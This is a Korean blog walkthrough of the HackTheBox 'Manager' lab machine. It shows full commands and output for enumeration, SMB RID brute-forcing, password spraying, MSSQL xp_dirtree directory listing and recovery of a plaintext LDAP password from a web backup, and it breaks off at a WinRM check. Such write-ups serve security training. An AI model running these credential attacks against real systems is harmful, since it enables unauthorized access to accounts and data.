Post

HTB Manager

HackTheBox 오픈베타 시즌3의 4번째 머신으로 Windows 환경의 어려움 난이도로 출시되었다. 이번 포스팅에서는 Manager 머신의 해결 과정을 기록한다.

머신을 발급받고 바로 모든 플래그를 획득한 것이 아니기에 중간중간 대상의 IP Address가 변경될 수 있음 😅

Recon

Port Scan

대상으로 발급받은 머신의 IP를 대상으로 포트스캔 시 아래와 같이 Windows 환경에서 자주 확인할 수 있는 포트들을 확인할 수 있었고, 그중 1433/tcp(MS-SQL)이 오픈되어있는 것이 관심갖을 부분인것 같다.

내용에서 확인할 수 있는것처럼 manager.htb라는 도메인을 사용하고 DC는 dc01.manager.htb로 확인된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-22 19:02 KST
Nmap scan report for manager.htb (10.129.87.70)
Host is up (0.22s latency).

PORT      STATE    SERVICE       VERSION
53/tcp    open     domain        Simple DNS Plus
80/tcp    open     http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Manager
88/tcp    open     kerberos-sec  Microsoft Windows Kerberos (server time: 2023-10-22 17:02:35Z)
135/tcp   open     msrpc         Microsoft Windows RPC
139/tcp   open     netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open     ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-10-22T17:04:09+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
445/tcp   open     microsoft-ds?
464/tcp   open     kpasswd5?
593/tcp   open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open     ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-10-22T17:04:10+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
1433/tcp  open     ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-10-22T16:49:01
|_Not valid after:  2053-10-22T16:49:01
|_ssl-date: 2023-10-22T17:04:09+00:00; +7h00m00s from scanner time.
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
3268/tcp  open     ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
|_ssl-date: 2023-10-22T17:04:09+00:00; +7h00m00s from scanner time.
3269/tcp  open     ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-10-22T17:04:10+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
5985/tcp  open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open     mc-nmf        .NET Message Framing
49667/tcp open     msrpc         Microsoft Windows RPC
49677/tcp open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
49678/tcp open     msrpc         Microsoft Windows RPC
49679/tcp open     msrpc         Microsoft Windows RPC
49716/tcp open     msrpc         Microsoft Windows RPC
61737/tcp filtered unknown
61761/tcp open     msrpc         Microsoft Windows RPC
61838/tcp open     msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2023-10-22T17:03:32
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 105.41 seconds

DNS

53/tcp가 오픈되어있어 DNS로 쿼리를 전송하여 취약한 부분이 존재하는지 확인해봣으나, 흥미로운 부분은 발견되지 않았다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(root㉿kali)-[~]
└─# dig any manager.htb @10.129.87.70

; <<>> DiG 9.18.1-1-Debian <<>> any manager.htb @10.129.87.70
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16638
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;manager.htb.			IN	ANY

;; ANSWER SECTION:
manager.htb.		600	IN	A	10.129.87.70
manager.htb.		3600	IN	NS	dc01.manager.htb.
manager.htb.		3600	IN	SOA	dc01.manager.htb. hostmaster.manager.htb. 262 900 600 86400 3600

;; ADDITIONAL SECTION:
dc01.manager.htb.	1200	IN	A	10.129.87.70

;; Query time: 199 msec
;; SERVER: 10.129.87.70#53(10.129.87.70) (TCP)
;; WHEN: Sun Oct 22 06:27:53 EDT 2023
;; MSG SIZE  rcvd: 138
1
2
3
4
5
6
┌──(root㉿kali)-[~]
└─# dig axfr manager.htb @10.129.87.70

; <<>> DiG 9.18.1-1-Debian <<>> axfr manager.htb @10.129.87.70
;; global options: +cmd
; Transfer failed.

WEB

/etc/hosts에 포트 스캔 및 DNS를 통해 확인된 호스트를 기록 후 manager.htb에 대한 가상 호스트의 존재를 파악해보기 위해 퍼징을 진행해도 발견된 호스트는 존재하지 않았다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://manager.htb
 :: Wordlist         : FUZZ: /Users/juicemon/Desktop/Tools/wordlist/vhost-wordlist.txt
 :: Header           : Host: FUZZ.manager.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 18203
 :: Filter           : Response words: 0
________________________________________________

:: Progress: [20575/20575] :: Job [1/1] :: 182 req/sec :: Duration: [0:01:52] :: Errors: 0 ::

manager.htb:80

가장 기본적으로 접근할 수 있는 웹에 접근하니 아래와 같은 페이지가 반겨준다.

Desktop View

디렉터리 스캔을 진행해도 흥미로운 경로는 찾을 수 없었다 😨

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
╭─juicemon@juicemon-2 ~
╰─$ ffuf -w ~/Desktop/Tools/wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt -u http://manager.htb/FUZZ

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://manager.htb/FUZZ
 :: Wordlist         : FUZZ: /Users/juicemon/Desktop/Tools/wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

images                  [Status: 301, Size: 149, Words: 9, Lines: 2, Duration: 301ms]
js                      [Status: 301, Size: 145, Words: 9, Lines: 2, Duration: 300ms]
css                     [Status: 301, Size: 146, Words: 9, Lines: 2, Duration: 747ms]

80/tcp 웹 서비스에서 발견된 것중 사용 가능성이 존재하는 정보는 index.html 메인 페이지에서 확인할 수 있는 임직원 정보로 예상되는 JOHNDUE라는 이름이였다.

해당 내용이 침투 과정에서 사용될 수 있을지 모르겠으나, 일단 기억해두기로 한다.

Desktop View

LDAP

웹에서 무엇인가 접근할 수 있는 포인트가 발견되지않아 오픈된 서비스 중 하나인 LDAP으로 넘어와 탐색을 진행하였다. 하지만 이미 알고있는 정보만 도출되고 흥미로운 접근은 불가능했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿kali)-[~]
└─# ldapsearch -H ldap://10.129.87.70 -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#

#
dn:
namingcontexts: DC=manager,DC=htb
namingcontexts: CN=Configuration,DC=manager,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=manager,DC=htb
namingcontexts: DC=DomainDnsZones,DC=manager,DC=htb
namingcontexts: DC=ForestDnsZones,DC=manager,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kali)-[~]
└─# ldapsearch -H ldap://10.129.87.70 -x -b 'DC=manager,DC=htb'
# extended LDIF
#
# LDAPv3
# base <DC=manager,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090CF4, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1

RPC

느낌상 재미난 정보를 얻기 힘들것으로 예상되지만 꼼꼼하게 훑어보기위해 rpcclient를 통해서도 RPC 서비스에 접근하였으나, 익명 접근으로는 명령 전달 권한이 부족하여 얻을 수 있는 정보는 없었다.

1
2
3
4
5
6
┌──(root㉿kali)-[~]
└─# rpcclient -U "" -N 10.129.87.70
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> querydispinfo
result was NT_STATUS_ACCESS_DENIED

SMB

위에서 지루한 시간이 지나고 SMB에 희망을 걸고 익명 접근을 시도했으며 익명 로그인이 가능하고 리스팅도 가능했다!

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~]
└─# smbclient -N -L //10.129.87.70

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share
	SYSVOL          Disk      Logon server share

그치만 모든 공유 디렉터리에 접근 또는 열거가 불가능하였다 😥

ADMIN$

1
2
3
┌──(root㉿kali)-[~]
└─# smbclient -N  //10.129.87.70/ADMIN$
tree connect failed: NT_STATUS_ACCESS_DENIED

C$

1
2
3
┌──(root㉿kali)-[~]
└─# smbclient -N  //10.129.87.70/C$
tree connect failed: NT_STATUS_ACCESS_DENIED

IPC$

1
2
3
4
5
┌──(root㉿kali)-[~]
└─# smbclient -N  //10.129.87.70/IPC$
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_NO_SUCH_FILE listing \*

NETLOGON

1
2
3
4
5
┌──(root㉿kali)-[~]
└─# smbclient -N  //10.129.87.70/NETLOGON
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*

SYSVOL

1
2
3
4
5
┌──(root㉿kali)-[~]
└─# smbclient -N  //10.129.87.70/SYSVOL
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*

Foothold

SMB RID Bruteforce

SMB에 익명 접근이 가능하여 RID를 통한 무차별 대입으로 내부 사용자를 열거할 수 있다는 정보를 Exploit Notes에서 확인할 수 있었고, 내용을 기반으로 사용자를 열거하니 다음과 같은 결과를 추출할 수 있었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(root㉿kali)-[~/Desktop/Manager]
└─# crackmapexec smb '10.129.87.70' -u 'anonymous' -p '' --rid-brute
SMB         10.129.87.70    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.129.87.70    445    DC01             [+] manager.htb\anonymous:
SMB         10.129.87.70    445    DC01             [+] Brute forcing RIDs
SMB         10.129.87.70    445    DC01             498: MANAGER\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.87.70    445    DC01             500: MANAGER\Administrator (SidTypeUser)
SMB         10.129.87.70    445    DC01             501: MANAGER\Guest (SidTypeUser)
SMB         10.129.87.70    445    DC01             502: MANAGER\krbtgt (SidTypeUser)
SMB         10.129.87.70    445    DC01             512: MANAGER\Domain Admins (SidTypeGroup)
SMB         10.129.87.70    445    DC01             513: MANAGER\Domain Users (SidTypeGroup)
SMB         10.129.87.70    445    DC01             514: MANAGER\Domain Guests (SidTypeGroup)
SMB         10.129.87.70    445    DC01             515: MANAGER\Domain Computers (SidTypeGroup)
SMB         10.129.87.70    445    DC01             516: MANAGER\Domain Controllers (SidTypeGroup)
SMB         10.129.87.70    445    DC01             517: MANAGER\Cert Publishers (SidTypeAlias)
SMB         10.129.87.70    445    DC01             518: MANAGER\Schema Admins (SidTypeGroup)
SMB         10.129.87.70    445    DC01             519: MANAGER\Enterprise Admins (SidTypeGroup)
SMB         10.129.87.70    445    DC01             520: MANAGER\Group Policy Creator Owners (SidTypeGroup)
SMB         10.129.87.70    445    DC01             521: MANAGER\Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.87.70    445    DC01             522: MANAGER\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.129.87.70    445    DC01             525: MANAGER\Protected Users (SidTypeGroup)
SMB         10.129.87.70    445    DC01             526: MANAGER\Key Admins (SidTypeGroup)
SMB         10.129.87.70    445    DC01             527: MANAGER\Enterprise Key Admins (SidTypeGroup)
SMB         10.129.87.70    445    DC01             553: MANAGER\RAS and IAS Servers (SidTypeAlias)
SMB         10.129.87.70    445    DC01             571: MANAGER\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         10.129.87.70    445    DC01             572: MANAGER\Denied RODC Password Replication Group (SidTypeAlias)
SMB         10.129.87.70    445    DC01             1000: MANAGER\DC01$ (SidTypeUser)
SMB         10.129.87.70    445    DC01             1101: MANAGER\DnsAdmins (SidTypeAlias)
SMB         10.129.87.70    445    DC01             1102: MANAGER\DnsUpdateProxy (SidTypeGroup)
SMB         10.129.87.70    445    DC01             1103: MANAGER\SQLServer2005SQLBrowserUser$DC01 (SidTypeAlias)
SMB         10.129.87.70    445    DC01             1113: MANAGER\Zhong (SidTypeUser)
SMB         10.129.87.70    445    DC01             1114: MANAGER\Cheng (SidTypeUser)
SMB         10.129.87.70    445    DC01             1115: MANAGER\Ryan (SidTypeUser)
SMB         10.129.87.70    445    DC01             1116: MANAGER\Raven (SidTypeUser)
SMB         10.129.87.70    445    DC01             1117: MANAGER\JinWoo (SidTypeUser)
SMB         10.129.87.70    445    DC01             1118: MANAGER\ChinHae (SidTypeUser)
SMB         10.129.87.70    445    DC01             1119: MANAGER\Operator (SidTypeUser)

위에서 추출한 값들 중 SidTypeUser로 확인되는 유저 목록을 작성하여 리스트화한다.

1
2
3
4
5
6
7
8
9
10
11
Administrator
Guest
krbtgt
DC01$
zhong
cheng
ryan
raven
jinwoo
chinhae
operator

Password Spray

유저목록은 확인됐지만, 패스워드로 예상되는 정보는 획득할 수 없었기에 유저 목록을 패스워드 파일로하여 무차별 대입을 진행해보니 operator 계정의 패스워드가 일치하여 사용 가능한것으로 파악된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
┌──(root㉿kali)-[~/Desktop/Manager]
└─# crackmapexec smb '10.129.87.70' -u users.txt -p users.txt --continue-on-success
SMB         10.129.87.70    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.129.87.70    445    DC01             [-] manager.htb\zhong:zhong STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\zhong:cheng STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\zhong:ryan STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\zhong:raven STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\zhong:jinwoo STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\zhong:chinhae STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\zhong:operator STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\cheng:zhong STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\cheng:cheng STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\cheng:ryan STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\cheng:raven STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\cheng:jinwoo STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\cheng:chinhae STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\cheng:operator STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\ryan:zhong STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\ryan:cheng STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\ryan:ryan STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\ryan:raven STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\ryan:jinwoo STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\ryan:chinhae STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\ryan:operator STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\raven:zhong STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\raven:cheng STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\raven:ryan STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\raven:raven STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\raven:jinwoo STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\raven:chinhae STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\raven:operator STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\jinwoo:zhong STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\jinwoo:cheng STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\jinwoo:ryan STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\jinwoo:raven STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\jinwoo:jinwoo STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\jinwoo:chinhae STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\jinwoo:operator STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\chinhae:zhong STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\chinhae:cheng STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\chinhae:ryan STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\chinhae:raven STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\chinhae:jinwoo STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\chinhae:chinhae STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\chinhae:operator STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\operator:zhong STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\operator:cheng STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\operator:ryan STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\operator:raven STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\operator:jinwoo STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [-] manager.htb\operator:chinhae STATUS_LOGON_FAILURE
SMB         10.129.87.70    445    DC01             [+] manager.htb\operator:operator

운좋게 사용가능한 계정 정보를 획득했지만 해당 계정에서 WinRM 접근 권한은 존재하지않았다.

1
2
3
4
5
┌──(root㉿kali)-[~/Desktop/Manager]
└─# crackmapexec winrm '10.129.87.70' -u 'operator' -p 'operator'
SMB         10.129.87.70    5985   DC01             [*] Windows 10.0 Build 17763 (name:DC01) (domain:manager.htb)
HTTP        10.129.87.70    5985   DC01             [*] http://10.129.87.70:5985/wsman
WINRM       10.129.87.70    5985   DC01             [-] manager.htb\operator:operator

MSSQL

획득한 operator 계정으로 접근할 수 있는 모든 서비스를 접근하면서 impacket-mssqlclient를 사용하여 MSSQL에 접근이 가능한것으로 확인됐다.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~/Desktop/Manager]
└─# impacket-mssqlclient -p 1433 -windows-auth -dc-ip '10.129.87.70' "manager.htb/Operator:operator"@10.129.87.70
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands

가장 먼저 권한이 있다면 시스템 명령어 실행이 가능한 저장 프로세저인 xp_cmdshell을 테스트해봤으나, 해당 저장 프로시저에 대한 권한은 존재하지 않았으며 권한을 부여할 수 있는 권한도 존재하지 않았다.

1
2
3
4
5
6
7
SQL> xp_cmdshell whoami
[-] ERROR(DC01\SQLEXPRESS): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
SQL> enable_xp_cmdshell
[-] ERROR(DC01\SQLEXPRESS): Line 105: User does not have permission to perform this action.
[-] ERROR(DC01\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement.
[-] ERROR(DC01\SQLEXPRESS): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
[-] ERROR(DC01\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement.

이후 데이터베이스를 열거하니 MSSQL 기본 데이터베이스들만 존재하였다.

1
2
3
4
5
6
7
8
9
10
11
12
SQL> SELECT name FROM master..sysdatabases;
name

--------------------------------------------------------------------------------------------------------------------------------

master

tempdb

model

msdb

xp_dirtree

포스팅 예정인 HTB Escape에서도 사용했지만, MetaSploit의 admin/mssql/mssql_enum 모듈을 통해 접근 가능한 MSSQL의 정보를 열거할 수 있다. 이번 머신을 통해서도 사용했고 접근한 계정에서 `p_dirtree 저장 프로시저를 사용할 수 있는것으로 확인되었다.

공격자 관점에서 xp_dirtree 저장 프로시저 권한이 존재할 경우에 SMB Relay Attack를 시도해 볼 수 있다. 하지만 포스팅 길이가 늘어나는걸 방지하기위해 탈취한 NTLM 해시는 john the ripper나 hashcat으로 크랙이 불가능했었다는 사실만 언급하고 넘어간다.

xp_dirtree를 이용해서 NTLM 해시만 탈취할 수 있는것이 아니다. 프로시저 이름에서 알 수 있는것처럼 dirtree를 확인할 수 있다.

테스트를 위해 포스팅에서 언급하진 않았지만 wappalyzerhttpx를 통해 웹 서비스가 IIS로 동작중인 것을 알고 있어 C:\inetpub의 디렉터리 트리를 요청하는 쿼리를 입력하였다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
SQL> xp_dirtree 'C:\inetpub'
subdirectory                       depth
--------------------------------   -----------
custerr                            1
en-US                              2
history                            1
logs                               1
temp                               1
appPools                           2
IIS Temporary Compressed Files     2
wwwroot                            1
css                                2
images                             2
js                                 2

IIS의 디렉터리 구조를 파악할 수 있었으며, xp_dirtree에 depth와 file 필드를 추가할 수 있는 옵션을 부여 후 C:\inetpub\wwwroot\의 10뎁스까지 확인한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
SQL> xp_dirtree 'C:\inetpub\wwwroot',10,1
subdirectory                       depth          file
---------------------------------  -----------   -----------
about.html                         1             1
contact.html                       1             1
bootstrap.css                      2             1
responsive.css                     2             1
style.css                          2             1
style.css.map                      2             1
style.scss                         2             1
images                             1             0
about-img.png                      2             1
body_bg.jpg                        2             1
call-o.png                         2             1
call.png                           2             1
client.jpg                         2             1
contact-img.jpg                    2             1
index.html                         1             1
bootstrap.js                       2             1
jquery-3.4.1.min.js                2             1
service.html                       1             1
web.config                         1             1
website-backup-27-07-23-old.zip    1             1

그중 확인된 website-backup-27-07-23-old.zip 파일은 웹루트 기준으로 뎁스가 1인것으로 보아 웹루트 디렉터리에 위치해 있다. 이는 디렉터리 스캔으로 확인하지 못했던 저 압축 파일에 공격자가 직접 접근하여 파일을 다운로드 할 수 있다.

1
2
3
4
5
6
7
8
┌──(root㉿kali)-[~/Desktop/Manager]
└─# wget "http://manager.htb/website-backup-27-07-23-old.zip"
--2023-10-23 01:58:34--  http://manager.htb/website-backup-27-07-23-old.zip
Resolving manager.htb (manager.htb)... 10.129.87.70
Connecting to manager.htb (manager.htb)|10.129.87.70|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1045328 (1021K) [application/x-zip-compressed]
Saving to: ‘website-backup-27-07-23-old.zip’

압축을 해제하고 파일 들을 확인하다 .old-conf.xml 파일에서 Raven 계정정보를 파악할 수 있었다!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?xml version="1.0" encoding="UTF-8"?>
<ldap-conf xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
   <server>
      <host>dc01.manager.htb</host>
      <open-port enabled="true">389</open-port>
      <secure-port enabled="false">0</secure-port>
      <search-base>dc=manager,dc=htb</search-base>
      <server-type>microsoft</server-type>
      <access-user>
         <user>raven@manager.htb</user>
         <password>R4v3nBe5tD3veloP3r!123</password>
      </access-user>
      <uid-attribute>cn</uid-attribute>
   </server>
   <search type="full">
      <dir-list>
         <dir>cn=Operator1,CN=users,dc=manager,dc=htb</dir>
      </dir-list>
   </search>
</ldap-conf>

Users

현재까지 내용을 정리하면 SMB RID Bruteforce를 통해 사용자 계정 열거가 가능했고 유저 목록을 패스워드 리스트로하는 Password Spray를 통해 operator 계정을 획득할 수 있었다.

해당 계정은 MSSQL 서비스에 접근이 가능한 계정으로, xp_dirtree를 통해 SMB Relay Attack을 통해 확보한 NTLM 크랙은 실패 했으나, 디렉터리 구조를 파악하여 확인한 웹루트 디렉터리 내 백업 파일을 다운로드할 수 있었고 해당 압축 파일 내 존재하는 파일에서 Raven 계정정보를 파악할 수 있었다.

획득한 계정정보가 유효한지 확인 결과 사용 가능한 것을 알 수 있었고, WinRM 접근 권한까지 존재하는것을 확인했다.

1
2
3
4
┌──(root㉿kali)-[~/Desktop/Manager/backup]
└─# crackmapexec smb '10.129.87.70' -u 'Raven' -p 'R4v3nBe5tD3veloP3r!123'
SMB         10.129.87.70    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.129.87.70    445    DC01             [+] manager.htb\Raven:R4v3nBe5tD3veloP3r!123
1
2
3
4
5
┌──(root㉿kali)-[~/Desktop/Manager/backup]
└─# crackmapexec winrm '10.129.87.70' -u 'Raven' -p 'R4v3nBe5tD3veloP3r!123'
SMB         10.129.87.70    5985   DC01             [*] Windows 10.0 Build 17763 (name:DC01) (domain:manager.htb)
HTTP        10.129.87.70    5985   DC01             [*] http://10.129.87.70:5985/wsman
